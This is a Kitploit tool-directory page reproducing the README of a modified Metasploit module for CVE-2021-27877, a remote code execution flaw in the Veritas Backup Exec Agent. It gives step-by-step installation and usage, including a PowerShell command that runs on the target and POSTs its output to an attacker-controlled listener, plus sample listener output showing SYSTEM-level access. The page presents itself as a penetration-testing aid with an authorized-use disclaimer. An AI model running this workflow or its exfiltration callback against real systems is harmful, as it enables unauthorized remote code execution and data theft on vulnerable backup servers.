Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-27877-PoC — A modified version of the Rapid7 Metasploit module for CVE-2021-27877 that supports direct command execution for reliable vulnerability validation. Includes documentation explaining the exploit workflow, the module modifications, and usage examples. | Kitploit
Tools/GitHubGitHub/yashswarup12/cve-2021-27877-poc
Exploit FrameworksVulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubyashswarup12/cve-2021-27877-poc

CVE-2021-27877-PoC

A modified version of the Rapid7 Metasploit module for CVE-2021-27877 that supports direct command execution for reliable vulnerability validation. Includes documentation explaining the exploit workflow, the module modifications, and usage examples.

View Repository
334 months agoNot yet reviewed
Share

CVE-2021-27877 Proof of Concept

This repository contains a modified version of the original Rapid7 Metasploit module for CVE-2021-27877 affecting the Veritas Backup Exec Agent.

During my testing, the original Metasploit module successfully identified the target as vulnerable but consistently failed to establish a session because the payload delivery stage was unsuccessful. However, analysis of the module showed that authentication and the underlying command execution functionality were working correctly.

To simplify vulnerability validation, I modified the module to execute user-supplied operating system commands directly through the vulnerable NDMP command execution functionality instead of uploading and executing a payload. This makes it easier to confirm remote code execution without relying on a reverse shell or payload staging.

Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Only use it against systems you own or have explicit permission to assess.

Note: To protect the environment used during testing, all IP addresses in this repository have been anonymized. Throughout the examples, 192.168.x.x represents the target host, while 192.168.y.y represents the attacking system or listener. These substitutions do not affect the functionality of the proof of concept.


Changes

Compared to the original Rapid7 module, the following modifications have been made:

  • Added a new COMMAND runtime option.
  • Removed the dependency on uploading a payload.
  • Executes a single user-specified command.
  • Does not attempt to establish a Meterpreter session.

Installation

Copy the modified module into your local Metasploit modules directory.

cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/

Start (or restart) Metasploit and reload local modules:

msfconsole
reload_all

Usage

Before running the module, start an HTTP listener (or any web server capable of receiving and displaying HTTP POST requests). This listener will receive the output of the command executed on the target.

For example, you can use a simple Python HTTP server with a custom request handler, nc, or any HTTP listener of your choice.

Load the module:

use exploit/multi/veritas/beagent_sha_auth_rce_custom

Configure the required options:

set RHOSTS 192.168.x.x
set RPORT 10000

set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"

run

The COMMAND option accepts any command you wish to execute on the target.


Retrieving Command Output

This module is designed to execute a single command and does not return command output automatically.

To retrieve output, use an appropriate callback mechanism within your command (for example, an HTTP POST request or another outbound channel) and monitor your listener.

Example listener output:

Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive

nt authority\system

References

  • Rapid7 Metasploit Module
  • Veritas Security Advisory (VTS21-001)
  • Medium Article

Credits

  • Original Metasploit module: Rapid7
  • Modifications: Yash Swarup
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →